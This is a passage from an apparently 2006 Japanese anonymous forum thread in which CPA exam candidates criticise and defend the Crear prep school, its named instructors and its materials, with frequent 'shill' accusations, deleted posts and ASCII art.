監査の短答で当たった外れたと言っている時点で、底の浅さがうかがい知れるな
126:一般に公正妥当と認められた名無しさん
06/08/15 23:17:29
堀江は特段よくないよな。別に普通。
ほかのｸﾚ講師がレベル低すぎ！
ｸﾚしかしらない入門生はかわいそすぎる。
スタート地点にすら立ってない
127:一般に公正妥当と認められた名無しさん
06/08/15 23:32:54
>>121
>>125
>>126
工作員乙ｗ
128:一般に公正妥当と認められた名無しさん
06/08/15 23:56:32
スタッフ乙ｗ
129:一般に公正妥当と認められた名無しさん
06/08/16 01:07:12
常識合格法＝合格
非常識合格法＝不合格
130:一般に公正妥当と認められた名無しさん
06/08/16 02:00:14
常識合格法＝不合格
非常識合格法＝合格
131:一般に公正妥当と認められた名無しさん
06/08/16 02:04:53
常識合格法＝受かるヤツは受かるし落ちるやつは落ちる
非常識合格法＝同上
132:一般に公正妥当と認められた名無しさん
06/08/16 02:08:47
別にこんなとこ講師は見てないから安心しろって
そんなに辞められるのが怖いのかよ
あんたらの給料減らして講師にまわせよ
最も副業の講師からすれば雀の涙みたいなもんだろうけど
133:一般に公正妥当と認められた名無しさん
06/08/16 04:10:05
>>132
ヒント
講師も雀の涙
134:一般に公正妥当と認められた名無しさん
06/08/16 07:11:19
スタッフって、工作員乙しか言えないんだな…。
頭悪すぎ
135:一般に公正妥当と認められた名無しさん
06/08/16 07:56:02
Ｎ村、２回目の講義では、壊れたテープレコーダーから
普通のテープレコーダーレベルには進化したかもしれない。
136:一般に公正妥当と認められた名無しさん
06/08/16 08:03:36
ここみてびびったんだろ
137:一般に公正妥当と認められた名無しさん
06/08/16 11:39:17
工作員乙ｗ
138:一般に公正妥当と認められた名無しさん
06/08/16 11:51:56
>>クレスタッフ
工作員乙と言うより、クレ被害者乙って言えよ
139:一般に公正妥当と認められた名無しさん
06/08/16 14:39:55 nNjC4diZ
簿記の入門期はかなり重要。ここで合否の半分は決まると思ってる。
俺は06だけど簿記だけ大手に乗り換えた。
ここの入門簿記にムカついたから。
講義も予習せずにやってる感があったし、問題集は解答間違えすぎの上
、きちんとした訂正も出さない！そうやって飛ばした部分（問題）から
穴が広がって、その分野全体が嫌になって、簿記がいやになって、、、。
一方、大手はテキスト読んだだけでかなり理解できるくらい秀逸。ずっと
ここの入門テキスト使ってたからかもしれんがｗ
長田先生は噂に違わず良かった、というより非の打ち所がない最高の講師
だと思う。
140:一般に公正妥当と認められた名無しさん
06/08/16 14:41:53
長田先生は大手じゃないが･･
141:一般に公正妥当と認められた名無しさん
06/08/16 15:47:28
○○○工作員乙ｗ
142:一般に公正妥当と認められた名無しさん
06/08/16 16:42:50
○年前に大原に移籍したんだろう。
143:一般に公正妥当と認められた名無しさん
06/08/16 17:06:40 zQBDWiIB
kitioはクレアールで5年もがんばったのに受からなかった。
kitioはクレアールを信じていたのに・・・
144:一般に公正妥当と認められた名無しさん
06/08/16 17:10:43
非常識とかいうのやめたほうがいい･･･。
胡散臭すぎる･･･。
誰かいってやれ。
145:一般に公正妥当と認められた名無しさん
06/08/16 17:45:25
そしてｸﾚｱｰﾙを裏切ったやつから合格していくという事実
146:一般に公正妥当と認められた名無しさん
06/08/16 17:49:52
むしろ5年もやって短答すら受からないって･･･
こういうやつはどこいっても同じだろ
147:一般に公正妥当と認められた名無しさん
06/08/16 18:31:13 zQBDWiIB
いやいや、全部クレアールが悪いのさ
kitioは犠牲者。ああ、かわいそうに・・・
148:一般に公正妥当と認められた名無しさん
06/08/16 18:53:44
（´,_ゝ｀）ﾌﾟｯ
149:あぼーん
あぼーん
あぼーん
150:一般に公正妥当と認められた名無しさん
06/08/16 19:37:21
もうやめてください･･･
151:一般に公正妥当と認められた名無しさん
06/08/16 19:42:13
kitio、またクレアールでがんばれよ！！ベテランの経験で何か語ってくれよ。
みんな応援してるぜ！！！！
あと、Ｎ村、ちゃんと予習してこいよ！！
152:一般に公正妥当と認められた名無しさん
06/08/16 21:49:22
>>150
kitio乙
ICOと戦える講師はＮ村しかいない。
153:あぼーん
あぼーん
あぼーん
154:あぼーん
あぼーん
あぼーん
155:あぼーん
あぼーん
あぼーん
156:あぼーん
あぼーん
あぼーん
157:あぼーん
あぼーん
あぼーん
158:あぼーん
あぼーん
あぼーん
159:あぼーん
あぼーん
あぼーん
160:あぼーん
あぼーん
あぼーん
161:あぼーん
あぼーん
あぼーん
162:あぼーん
あぼーん
あぼーん
163:あぼーん
あぼーん
あぼーん
164:あぼーん
あぼーん
あぼーん
165:あぼーん
あぼーん
あぼーん
166:一般に公正妥当と認められた名無しさん
06/08/18 02:51:10
またまた出ました
追い込まれたスタッフ乙の常套手段
そんなに話題変えたいのか
167:一般に公正妥当と認められた名無しさん
06/08/18 03:11:58
工作員乙ｗ
168:あぼーん
あぼーん
あぼーん
169:あぼーん
あぼーん
あぼーん
170:あぼーん
あぼーん
あぼーん
171:あぼーん
あぼーん
あぼーん
172:一般に公正妥当と認められた名無しさん
06/08/18 10:12:00
いい加減にしろハゲ
173:あぼーん
あぼーん
あぼーん
174:あぼーん
あぼーん
あぼーん
175:あぼーん
あぼーん
あぼーん
176:あぼーん
あぼーん
あぼーん
177:あぼーん
あぼーん
あぼーん
178:一般に公正妥当と認められた名無しさん
06/08/19 01:49:11
堀江さん良さげだけど、短答対策とかはどうなの？
179:あぼーん
あぼーん
あぼーん
180:あぼーん
あぼーん
あぼーん
181:あぼーん
あぼーん
あぼーん
182:あぼーん
あぼーん
あぼーん
183:あぼーん
あぼーん
あぼーん
184:あぼーん
あぼーん
あぼーん
185:あぼーん
あぼーん
あぼーん
186:一般に公正妥当と認められた名無しさん
06/08/19 20:28:13
荒らしてるのはスタ乙
中国もびっくりの言論統制ですね
頭の中は新規顧客の囲い込みのみ
少しは既存の生徒の側に立って考えてみてはいかがか
187:一般に公正妥当と認められた名無しさん
06/08/20 07:42:28
test
188:一般に公正妥当と認められた名無しさん
06/08/20 10:18:45
>>186 同意
この学校のスタッフは信用出来ない。
2006年クレ本科生は、合格する人（そんな奴いるのか？）以外で何人残るんだろうな
95％は転校すると思う。
189:一般に公正妥当と認められた名無しさん
06/08/20 11:45:40
工作員乙ｗ
190:一般に公正妥当と認められた名無しさん
06/08/20 18:13:00
クレアール登場人物
財務会計論（簿記）
森山・・・連結会計担当。ただし、連結が苦手。きもい。だが、わかりやすく教える努力はしている。
竹森・・・個別論点担当。ですます調を使わない。2007年の神の予感。
財務会計論（財務諸表論）
石井(弟)・・・非常識合格法提唱者だが、他校と比べて講義や答練習が20%増しくらい多い。
テキストは他校の1/4程度だが、定義をそのまま丸暗記させるため、負担は大きい。
講師を批判する人間はたとえ合格しても、その後も批判人生を送ると受験生に助言している。
その割に自身はアクセル野坂をよく批判している。
管理会計論
中村・・・元TAC講師。無駄な話が多い。説明がテキスト棒読み。講師としての能力は低い。2007年担当。
安井・・・2006年まで担当。神戸大学助教授に就任のため、クレアールを辞職。配合差異などのいわゆる安井図が有名。
五十嵐・・・黒い。クビになった。
企業法
石井(兄)・・・会計士界の若貴兄弟である。石井兄弟。やはり兄はこちらでも目立たない。
テキストや講義の内容はそこそこである。ただし、講義が致命的に聞き取りにくい。
監査論
堀江・・・日本大学教授。クレアールの看板講師。他校の1/4程度のテキストで、高得点の答案を
作ることが出来ると評判の講師。短期間で仕上げるという目的では、他校の追随を許さない。
試験委員の八田と友達。そもそも、堀江自身が試験委員に指名されそう。人間性も良いことで有名。
ただ、本人はクレアールを辞めたがっている。
平林・・・アイドル会計士。しかし年齢は30代。講義はテキスト棒読みである。自身が出版している、
演習セレクトの評価は高い。ただ、受講生の評判が悪く、2007年は講義を担当しない予定。 別称ひらりん。
工作員・・・ベテラン受験生。ヴェテにつらく当たる石井に恨みを持っている。
スタッフ・・・クレアール運営。受講生「ネットの掲示板にひどいこと書かれていますよね。」
クレアール運営「あんなひどいこと書かなくてもね。」
191:一般に公正妥当と認められた名無しさん
06/08/20 18:25:52 e/0MrKkw
租税法
成澤…元LECで三次試験の講師。開講前は神との噂が流れたが、終わってみればちんたらとしたつかみ
所のない授業が不評だった。誤植は多い。 だが、2007年講座に入って、改善しようとしている努力は見られる。
評価は今年度の論文以降。
経営学
藤原…クレ講師の中では比較的影が薄い。テキストも半端じゃなく薄い。が、中身はギチギチに文字が並び圧倒される。
馬場…ヤマ当て師。04は大当たり、05は大外れ。親身ではあるが、強気な発言がきもいとの評価も。
統計学（2006年テキストを見ての感想。講義は受講していないのでわかりません）
比佐…神。まさに神という名がもっともふさわしい講師。比佐統計学をマスターすれば、100点満点は確実である。
ただし、あまりに神であるがために、会計士受験生の中でも選ばれた1000人に1人しか、その真髄を極めることが
できない。（国立理系大学院生だと10人に1人ぐらいか？）他校の統計学は所詮、一般教養であるが、比佐統計学を
マスターできれば将来学者も夢ではない。アクチュアリー試験も楽々突破できる。
合格後、比佐統計学で合格しましたと言えば、羨望のまなざしで見られることは間違いない。
とにかく神である。常人ではやけどする。
比佐先生には驚いた。簡単なことをこんなに難しく書けるなんてと・・・
192:一般に公正妥当と認められた名無しさん
06/08/20 18:59:26 yC8Kt4Gr
＞今朝、速達で答案が返却されてきました。
＞昨日の電話でお昼過ぎに財表の答案の採点が終了するということだったのですが、その分も返送されてきました。
＞別便だったので、郵送料だけでも結構かかっていると思います。
＞私と同じような対応をとらざるを得なかった人はどのくらいいるのでしょうかね。
＞
＞成績表はまだ手元にありません。
＞
＞企業法や経営が合計で100点を超えていたのですが、これは200点満点での採点をしているのでしょうか？
＞と、ここで書いたところで、誰も教えてはくれないので、成績表がきて、不明であれば問い合わせするかもしれません。
＞もっとも、本試験２日前で模試の成績を知ったところで、仕方ないので、問い合わせはしないかもしれませんが。
＞
＞もし、200点満点で採点して、総合成績しか出していないのであれば、よく分からない結果になってしまうのですかね？
＞企業法と経営学が得意な人は模試の結果もよくなってしまうとか。
＞私の答案なんて、最後の方に採点されているはずなのに、どうなっているのでしょうか？
＞途中で修正ができなくなってしまったのでしょうか？
＞
＞答練の成績処理のずさんさ、テキスト･答練の誤植、財表、監査の答練の返却が非常に遅いとか
＞いろいろなデメリット・不備を覚悟の上、今年もAXLを中心にしていましたが、
＞今年のAXLの直前期は不手際が多かったように感じます。
＞短答の直前には、証取法対策で弁護士の講師の方の講義だけでなく、
＞近藤講師も講義をしたりして、受験生に過重な負担をかけたり、
＞私にとっては、DVDの不良が1件、未送が1件発生したり、監査論の補講のタイミングが非常に遅かったり、
＞それで、今度の公開模試です。どうしちゃったんでしょうかね？
＞
＞事務の方はトラブルの発生ごとに丁寧な電話対応をしていただいたので、
＞不満が溜まることはあまりなかったですが、こう書いてみると結構ひどい学校だったなという気がしてきました。
193:一般に公正妥当と認められた名無しさん
06/08/20 20:00:34 8JnFig3n
思うに、中村は語り口調に問題があるのでは？
一聴して「自信なさげ」って感じなんだよね。
他科目に比べて寝てる人も多いし。
財表の石井や租税の成沢は、中身の良し悪しはともかく、
語気は強くて自信ありげ。
いかにも講師向きって感じ
もちろん「中身の良し悪しはともかく」と書いたけど、
そこが一番大事なんだけどさ。
少なくとも、頼りなさげで、かつ受講生の眠気を誘うようでは
ダメではないかな。
194:一般に公正妥当と認められた名無しさん
06/08/20 20:28:37
>>193
「思うに」って、かっこいい言い方だな。
あー、でも確かに・・・語り口調はそうかも。
情報量も違うことない？
なんだかんだ言って、財表の石井は１回での講義の情報量が多いような気もする。
中村はなんか、トロトロしているんだよな。説明で話しているのは簿記１級レベルの内容だし、
かといって、特別わかりやすかったり、興味を引くような話し方でもない。
あと、石井はまさに石井教祖で、「信じるものは救われる」という感じの講義だな。
とりあえず、受講生は耳を傾けると思う。信じるかどうかは別として。
195:一般に公正妥当と認められた名無しさん
06/08/20 21:34:06 e/0MrKkw
中村管理会計論より、比佐統計学のほうがはるかに上のようです。
まさに非常識比佐統計学。100点を取る気か？
196:一般に公正妥当と認められた名無しさん
06/08/20 22:18:05
>>194
一行目を見て察すると初学者か。
「思うに」は企業法の常套句だ。
石井を信じて今年受かった者がどれだけいるか。
そのほとんどが07目標として再スタートしている現実がある。
197:一般に公正妥当と認められた名無しさん
06/08/21 01:12:17
結構受かってるじゃん
198:一般に公正妥当と認められた名無しさん
06/08/21 01:16:31
あぼーんのところはどんなことが書かれていたのでつか？
199:一般に公正妥当と認められた名無しさん
06/08/21 01:18:50
今年は５～６割受かったと聞いた。
200:一般に公正妥当と認められた名無しさん
06/08/21 01:21:24
>>198
>>196みたいな、
工作員きもいと書かれていた。
201:一般に公正妥当と認められた名無しさん
06/08/21 11:48:02
スタッフ乙がずっと荒らしてたよ
どうやって変えたんだか...
202:一般に公正妥当と認められた名無しさん
06/08/21 13:36:26 RcjPMT1R
k
203:一般に公正妥当と認められた名無しさん
06/08/21 23:47:18 /UbDsBPd
明日から始まる論文式、確実に取るために今年は特定科目だけの合格を狙っていこうかと思います。
その場合、もしも合格を考えている科目以外を受けなかった場合どうなるんでしょうか。
試験自体が無効となってしまうんですかね。
明日は監査だけを取りに行きます。なので、租税は受けないで帰ろうかとも思うんですけど・・・。
204:一般に公正妥当と認められた名無しさん
06/08/21 23:52:34
あくまでも一括合格が基本って公言されてるから
特定の科目だけ激ムズにしたりして
悪質な得点調整されたりすることもあるだろうな
205:一般に公正妥当と認められた名無しさん
06/08/22 00:24:00
>>198
AA連投荒らしだった
206:一般に公正妥当と認められた名無しさん
06/08/22 01:10:38
ＡＡ連投って？
207:一般に公正妥当と認められた名無しさん
06/08/22 14:23:19
GTOに出てた数学だかの先生、ちょっと森山先生っぽくない？
なんとなく顔つき
208:一般に公正妥当と認められた名無しさん
06/08/22 16:38:50
>>207
っぽい！！ｗｗ
209:一般に公正妥当と認められた名無しさん
06/08/22 18:09:38
論文試験の感想がないところから、短答でほとんど散ったのは真実なのか。
210:一般に公正妥当と認められた名無しさん
06/08/22 18:13:07
監査論、堀江で対応できた？
211:一般に公正妥当と認められた名無しさん
06/08/22 18:22:19 rqAKo2hA
充分でしたよ。
212:一般に公正妥当と認められた名無しさん
06/08/22 19:42:59 5NVLyco4
ここにいるのは短答落ちヴェテのみだから。
213:一般に公正妥当と認められた名無しさん
06/08/22 19:59:01
おまえたち、クレテキストもったﾔﾂ試験場でうるさすぎ。
仲良しなのはよくわかった。
214:一般に公正妥当と認められた名無しさん
06/08/22 22:04:00 4czPyMDR
監査の第７問は満点の自信ありまっす！
でも、みんなも満点だよね？
ハイレベルな競争になりそう・・。
215:一般に公正妥当と認められた名無しさん
06/08/22 22:54:27
>>214
模範解答さらしてください。
216:一般に公正妥当と認められた名無しさん
06/08/23 14:06:12 pY3p8Crl
明日は財表の答練があるじゃん
217:一般に公正妥当と認められた名無しさん
06/08/23 15:54:54
解答速報が出るまで模範解答をさらすことはできません
なぜならクレ礼賛はスタッフの仕事なので
218:一般に公正妥当と認められた名無しさん
06/08/23 19:05:51
工作員乙ｗ
219:一般に公正妥当と認められた名無しさん
06/08/23 22:05:53 BS+D7w6I
今日は1日会計学でした。みなさん予想通りの展開だったのでは、財務会計3時
間・管理会計2時間、やはりこれが妥当でしたね。
さて、管理会計ですが、部門別では割り切れた人と割り切れない人とが別れて
いるようです。ポイントは工場長の給料ですね。「どの部門にも属しない」と
いう記述から一般費と判断した人が多かったのではないでしょうか。この問題
を最初に回答した人は時間を使いすぎてしまったと思います。
財務会計論については、簿記と簿記と財表の混合、そして財表でした。簿記は
そんなに難しくないのではないでしょうか。連結の問題も計算自体はそこまで
解答が出来ないものではない。
やはり、財表だったのではと思います。今回は財表から解いた人は時間が思っ
たよりかかり、1問目の簿記の時間が減ってしまったのではと思います。
これらを総合すれば5割も取れれば合格かと・・・。
220:一般に公正妥当と認められた名無しさん
06/08/24 13:35:59
もうだめぽ
転校します
221:一般に公正妥当と認められた名無しさん
06/08/24 18:13:48
全然論文の話題がでてこない・・・
アクセルは的中しまくってるという話なのに・・・
222:一般に公正妥当と認められた名無しさん
06/08/24 18:31:19 PAenwLlN
TAC＝大原＝アクセル＞＞＞＞＞＞＞＞＞＞＞＞＞クレアール＝LEC＝Wセミナー＝ICO＝東京CPA
だから仕方ない。
223:一般に公正妥当と認められた名無しさん
06/08/24 18:42:11
石井先生が2ちゃんやってるようじゃ受からないって言うから･･･
224:一般に公正妥当と認められた名無しさん
06/08/24 18:52:02
>>223
２やんねらーで優秀な奴なんぞ腐るほどいるし。
石井がクレの悪口書かせないためにいってるだけ。
225:一般に公正妥当と認められた名無しさん
06/08/24 18:59:26 ciCISh89
クレ=レックなわけない
レックが4番手
226:一般に公正妥当と認められた名無しさん
06/08/24 19:03:12
>>225
とりあえず氏ーーーーーーーーーーーーーーね
227:一般に公正妥当と認められた名無しさん
06/08/24 19:10:04
受講生の数だったらクレは3番手。
合格者数なら>>222に異存はない。
228:222
06/08/24 19:15:19 PAenwLlN
クレアール以降は誤差ってことさ。いろんな意味で。
229:一般に公正妥当と認められた名無しさん
06/08/24 19:33:43
論文終わったので、レスが増えてるなと思ったら・・・・orz
230:一般に公正妥当と認められた名無しさん
06/08/24 22:54:28
工作員乙ｗ
231:一般に公正妥当と認められた名無しさん
06/08/24 22:56:16
スタッフ乙ｗ
232:一般に公正妥当と認められた名無しさん
06/08/24 22:58:13
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ／
／ "' ゝﾉ {0} /¨`ヽ{0} ＜ ニャーン！！ ＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
,..､_ _ ＿_ ..,,__ _,, ,,_ _ __
l ./====／ ＼| .l ,､| ./ , ､ ＼''ﾞ <.| i=' `l ヽ＼ _ 7 フ,、
/ /.l`‐- ﾞ､| |＝| .i- l ./＝ ,＞ ／,_､.ﾉ| |.| !∧.| l' !､`'ﾞ _,,,..ゝ_,、
. / |.| || | | |.|`' __'`ﾉi､l / / 二| /'ﾞ∠,,> = 'ﾞl .| ﾞ７ .l ∠~_,,,,.）
~| |.| !! |.| .|.| | | .|ヽ. ./ .ﾌ ＜'ヾﾌ / .| .| ／!./ /_ ﾞ
| .|.!-'`二l .|| |._| .|/ `‐- /,､ |ﾞ､ﾉ.> '-┐､ `.-‐'' .// ./ ヽﾞ‐---‐､
|_,,,| ＼_丿!-‐'＞,.-'ﾞ~`､／ ` |_,,l／-‐'ﾞ‐､_| `‐- -‐' ヽ_/ `‐- - ‐'
233:一般に公正妥当と認められた名無しさん
06/08/24 23:58:13
何故殺した！！！！！！！！！！！！！！！！！！！！！！！
234:一般に公正妥当と認められた名無しさん
06/08/25 00:07:52
何故！！！！！！！！！！！！！！！！！！！
235:一般に公正妥当と認められた名無しさん
06/08/25 00:08:24
殺した！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
236:一般に公正妥当と認められた名無しさん
06/08/25 07:50:21
クレの合格率は、業界ナンバーワンの低さ
237:一般に公正妥当と認められた名無しさん
06/08/25 08:37:56 iBZMrpsv
実質の合格率はTのほうがはるかに低いだろ・・・同じ時期に申込みした人結構やめてるよ。
238:一般に公正妥当と認められた名無しさん
06/08/25 20:28:04 UrNsYnrg
租税の先生さ、答練の最終回でサンプル問題を配るとき、
欲しがってる生徒がいるので仕方なく配るけど、糞みたいな問題だから参考にならない、
って言ってたけど、的中したな。
今年の租税はｸﾚの勝ち?
239:一般に公正妥当と認められた名無しさん
06/08/25 23:15:29
2007DVD通信だけど、選択科目は経営なんかが配送されてるのに経済はまだなのはなんで？
生授業でもやってないのかな。分量的には経済のほうが多いって書いてあるんだけど始まる時期は経済のほうが遅いのかな。
まぁそれはともかく、みなさんお疲れ様でした。
240:一般に公正妥当と認められた名無しさん
06/08/25 23:47:23 eYaRBZsJ
07の簿記と管理会計のテキストは06と内容は結構変わっているのですか。会社法関係は多いのかなあ。
241:一般に公正妥当と認められた名無しさん
06/08/26 00:02:59
>>240
手元にテキストあるので簡単なことぐらいならお答えできますよ
242:一般に公正妥当と認められた名無しさん
06/08/26 01:20:24 /Qe1pgEG
簿記の問題集まだでしょうか
っていうか、ありえない
243:一般に公正妥当と認められた名無しさん
06/08/26 01:30:47
生授業のほうも配られてないの？
244:一般に公正妥当と認められた名無しさん
06/08/26 10:03:28
>>242
問い合わせろ
そして氏ーーーーーーーね！
245:一般に公正妥当と認められた名無しさん
06/08/26 15:10:05
>>242=243
自作自演
246:一般に公正妥当と認められた名無しさん
06/08/26 23:39:59
クレアールの比佐先生。経済学の講師をしていた時は評判が悪かったって本当？
比佐先生。統計学では神のような講義をしているぞ。
めちゃくちゃわかりやすい。正直、統計学に関しては予備校会No.1じゃないだろうか。
テキストをみたら、正直、他校に比べて難しすぎると思うが、
その難しい概念を的確に説明している。
今年は結局、サンプル問題以上の難易度だったし、今後は証明問題も多く出題される
かもしれない。今後、難易度が上がれば上がるほど、比佐統計学は鋭さを見せつける。
ただし、統計学、確率論の初学者にはちょっときついかもしれない。
まさに管理会計論でいったら池邊のような感じだ。
初学者にはきついが、そこそこ知識があれば、他校受験生を寄せ付けないレベルに達することができる。
247:一般に公正妥当と認められた名無しさん
06/08/27 00:04:29 2qpLW0OM
Ｆ原の去年の直前期のテキストに救われたよ。
内部化理論、本試験そのまんまでてたし…
それに比べて財のつく２科目はorz
248:一般に公正妥当と認められた名無しさん
06/08/27 09:17:20
財表と財務（経営）？馬場氏はまたやっちゃったの？
249:一般に公正妥当と認められた名無しさん
06/08/27 10:16:27 wzyhCAbx
馬場氏はやっちゃってはいないけど、ＴＡＣが先物の値動きを授業でやってたから勝ててはいないと思う。
管理会計分野をなぜか財務論でやってたのは当たったけど、
あの問題じゃ簡単すぎてやらなくても同じようなもんでしょ。
もう１つの財はこの前の基礎期の授業で
『今年も当てちゃいました』
と発言していたらしいけど、なにがどう当たったか説明しろって感じ
(-_-#)
250:一般に公正妥当と認められた名無しさん
06/08/27 15:36:01
カリスマ(笑)
251:一般に公正妥当と認められた名無しさん
06/08/27 23:05:12
工作員乙ｗｗ
252:一般に公正妥当と認められた名無しさん
06/08/27 23:12:41
>>251
ばか乙ｗｗ
253:一般に公正妥当と認められた名無しさん
06/08/28 00:01:45
↑
セオリーを無視するんじゃないよハゲ。
254:一般に公正妥当と認められた名無しさん
06/08/28 00:56:46
>>253
ばか乙ｗｗ
255:一般に公正妥当と認められた名無しさん
06/08/28 14:28:31
カリスマクソ講師だらけの学校はここですか？
256:一般に公正妥当と認められた名無しさん
06/08/28 18:00:13 DPb7Pkue
比佐先生が真のカリスマです。
257:一般に公正妥当と認められた名無しさん
06/08/28 20:26:30
監査論、
クレ堀江さんにするか、アク野坂さんにするか迷い中。
どっちがいいべ
258:一般に公正妥当と認められた名無しさん
06/08/28 21:08:40
そりゃ、当然、野坂だ。
クレアールは相対的に堀江がよく見えているだけ。
堀江は量が少なすぎて、論文が危ないよ
259:一般に公正妥当と認められた名無しさん
06/08/28 21:12:22
で、でも、堀江さんって教授でしょう？
すごいんじゃないの。
260:一般に公正妥当と認められた名無しさん
06/08/28 21:13:46
全体的な評判は
堀江＞野坂
だけどな
261:一般に公正妥当と認められた名無しさん
06/08/28 21:22:34
今年に限れば野坂＞堀江か。
262:一般に公正妥当と認められた名無しさん
06/08/28 21:22:53
で、今年は堀江教授でどうだったんですか？
263:一般に公正妥当と認められた名無しさん
06/08/28 21:42:38
堀江はハズレまくり。クレの合格率の低さが全てを物語っている。
野坂はLEC池部が先生と呼んでいるくらいだからな。
クレなんてカスだよカス。
野坂先生が神。
264:一般に公正妥当と認められた名無しさん
06/08/28 21:45:03
クレアールは今後は比佐先生の時代だからな。
経済学は評判が悪かったけど、統計学になってから、神のような講義だよ。
比佐＞＞＞＞＞＞＞＞＞石井＝堀江＝竹森＞＞＞森山＞＞＞＞＞＞＞＞＞＞＞中村
265:一般に公正妥当と認められた名無しさん
06/08/28 22:44:31
野坂は志保＝無資格者だぞ。信用出来んな。
266:一般に公正妥当と認められた名無しさん
06/08/28 22:47:25
>>265
合格者をたくさん出していれば、講師の経歴は関係ないお
267:一般に公正妥当と認められた名無しさん
06/08/28 22:51:20
はいはい、では信者さん来年も頑張ってね
268:一般に公正妥当と認められた名無しさん
06/08/28 23:05:09
堀江さんアクセル移籍せんかなー
あっちは商法とか管理も評判良いし
こっちの単科で取るには高すぎる
269:sage
06/08/29 01:07:49 PWExfR3B
今年の堀江の監査はどうなのかね
270:一般に公正妥当と認められた名無しさん
06/08/29 02:43:45
ひさ先生が神に…
人柄がいいからカリスマ交代だね。
カリスマはもう引退してくれ。
271:一般に公正妥当と認められた名無しさん
06/08/29 03:29:45 DF9Z4CNO
比佐先生の統計学はまじでいいぞ。
冗談抜きで、堀江先生とツートップだ。
初学者にはきついと思うが・・・
人柄いいんだー。
比佐先生、統計学の授業ではやたらと生き生きしている。
272:一般に公正妥当と認められた名無しさん
06/08/29 03:32:02
堀江。伝説の最低講師、比佐と同じだなんて、
やっぱりクレアールってレベル低いね。
273:一般に公正妥当と認められた名無しさん
06/08/29 03:36:29
比佐経済学に泣かされた人間が何人いることか・・・
274:一般に公正妥当と認められた名無しさん
06/08/29 03:43:37
俺、初めての時大原で経営が鈴木通温だった。
物凄くわかり難く、先生もやる気があるようには感じられなかった。
翌年、鈴木先生は原計になった（戻った）らわかりやすい、
先生も別人のように生き生きしてた。比佐もこのタイプかもしれん。
275:一般に公正妥当と認められた名無しさん
06/08/29 16:31:51
>>150
工作員乙
276:一般に公正妥当と認められた名無しさん
06/08/29 16:54:08
>>275
亀乙
277:一般に公正妥当と認められた名無しさん
06/08/30 19:28:24
堀江神の講義DVDが来たぁぁあ
278:一般に公正妥当と認められた名無しさん
06/08/30 21:00:48
堀江は過大評価されすぎ。
堀江が神なのは入門生だけ
279:一般に公正妥当と認められた名無しさん
06/08/30 22:11:09
そうだよね。
結局、合格点ぎりぎりにしかならない。
クレアールは全て、守りの科目だから、一科目でも落としたら即死。
280:一般に公正妥当と認められた名無しさん
06/08/30 22:56:16
工作員乙ｗ
281:一般に公正妥当と認められた名無しさん
06/08/31 00:20:40
クレ生自身も他にまともな講師がいないから、まだ普通の講師である堀江に頼るしかないだけのこと。
アクセル野坂の講義を聞いたら、財表監査はクレじゃだめだって、思うことになるよ
282:一般に公正妥当と認められた名無しさん
06/08/31 00:33:23
野坂信者がのさばってるなｗ
283:一般に公正妥当と認められた名無しさん
06/08/31 00:35:25
監査は堀江さんの講義しか受けたことがないからよく分からんが
財表はちょっと最近の基準改訂についていけてないような気もするな
ちなみに監査は堀江さんで十分。テキストは必要十分だし、答練も質が高い
284:一般に公正妥当と認められた名無しさん
06/08/31 01:11:17
おっさん対談！
URLﾘﾝｸ(www.crear-ac.co.jp)
285:一般に公正妥当と認められた名無しさん
06/08/31 01:33:03
>>283
スタッフ乙
監査は無難にTAC南だよ。
間違いない。
286:一般に公正妥当と認められた名無しさん
06/08/31 01:38:33
南も聞いたことあるけど正直微妙だなｗ
287:一般に公正妥当と認められた名無しさん
06/08/31 01:41:27
>>285
> スタッフ乙 くると思ったよ
しかしよく考えてみろ。スタッフなら財表マンセーじゃなきゃおかしいだろ
正直財表についてはオブラートに包んで書いただけで本当は（ｒｙ
暗記偏重は良くないよね＾＾
288:一般に公正妥当と認められた名無しさん
06/08/31 02:07:36
>>287
なるほど。
スタッフ乙
289:一般に公正妥当と認められた名無しさん
06/08/31 02:13:08
工作員乙ｗ
290:一般に公正妥当と認められた名無しさん
06/08/31 02:24:10
スタッフ＆工作員＆中村乙
291:一般に公正妥当と認められた名無しさん
06/08/31 02:26:16
>>288
口癖なのか。なら仕様がないな
292:一般に公正妥当と認められた名無しさん
06/08/31 09:34:33
クレはいきなり申し込みするんじゃなくて、体験講義とかうけろ。
そのときに他校のもうけてみろ。
そうすれば、クレがどんなにレベルの低い学校かわるだろう。
わからないやつは馬鹿。ベテになる要素あり。
293:一般に公正妥当と認められた名無しさん
06/08/31 09:42:02
クレはいきなり申し込みするんじゃなくて、体験講義とかうけろ。
そのときに他校のもうけてみろ。
そうすれば、クレがどんなにレベルの高い学校かわるだろう。
わからないやつは馬鹿。一発合格できる要素あり。
294:一般に公正妥当と認められた名無しさん
06/08/31 23:29:07
/ヽ , なんなんだこの学校
/´ ｀´ | /ヽ_____／l
'､ ,l / '､
/￣ ,_,..ノ l l マジ金返せよ...
/ '､ _,ゝ _,.ﾉ
/ , ヽ ∬ｌ´ `ヽ
| /`ヽ､`'‐‐-､日| | ∬
ｌ '｀ `￣_,.' ヽｌ ｉ / ｌ, 、 日
ヽ､＿_,. -‐ '' ´ .ヽ`' | ｌ.,_,! /
ヽ ' /
`､.,____ ,. ′
295:一般に公正妥当と認められた名無しさん
06/09/01 00:09:24
/ヽ , ここって良い学校だよね
/´ ｀´ | /ヽ_____／l
'､ ,l / '､
/￣ ,_,..ノ l l ホントホント...
/ '､ _,ゝ _,.ﾉ
/ , ヽ ∬ｌ´ `ヽ
| /`ヽ､`'‐‐-､日| | ∬
ｌ '｀ `￣_,.' ヽｌ ｉ / ｌ, 、 日
ヽ､＿_,. -‐ '' ´ .ヽ`' | ｌ.,_,! /
ヽ ' /
`､.,____ ,. ′
296:一般に公正妥当と認められた名無しさん
06/09/01 21:03:38 0HApgQBr
監査で堀江は「監査の引継ぎ」が狙われる可能性大と何回も講義中に言ってたけど、ズバリ当たったね
297:一般に公正妥当と認められた名無しさん
06/09/02 18:22:56
粘着ハゲ乙ｗ
298:一般に公正妥当と認められた名無しさん
06/09/02 19:02:23
（´,_ゝ｀）ﾌﾟｯ
